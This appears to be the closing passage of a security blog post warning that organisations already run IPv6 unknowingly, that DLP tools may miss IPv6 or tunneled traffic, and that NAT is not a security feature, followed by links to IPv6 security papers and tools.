DLP (if you are in the 1% who actually bought one and enrolled it in production):

Is your DLP IPv6 ready/aware?
Can it monitor tunneled traffics?

And last but not least, the bad news: you are already using IPv6 if you have Windows7 notebooks leaving your company, not having access to the domain controller. Or have you checked your servers link-local IPv6 addresses recently? Do you have a Windows2008 cluster? It is using IPv6 already!

The good news? In the not so far future (I estimate 2050) you can turn off your last device with IPv4 address, and forget all the nightmare around NAT and dual-stack. Because remember: NAT is not a security feature. It never was.

Useful links:

https://www.thc.org/thc-ipv6/

https://www.usenix.org/legacy/events/lisa11/tech/slides/babiker.pdf

http://www.cisco.com/en/US/prod/collateral/iosswrel/ps6537/ps6554/ps6599/ps10800/white_paper_c11-629044.pdf

http://www.cisco.com/web/about/security/security_services/ciag/documents/v6-v4-threats.pdf

http://www.secdev.org/conf/IPv6_RH_security-csw07.pdf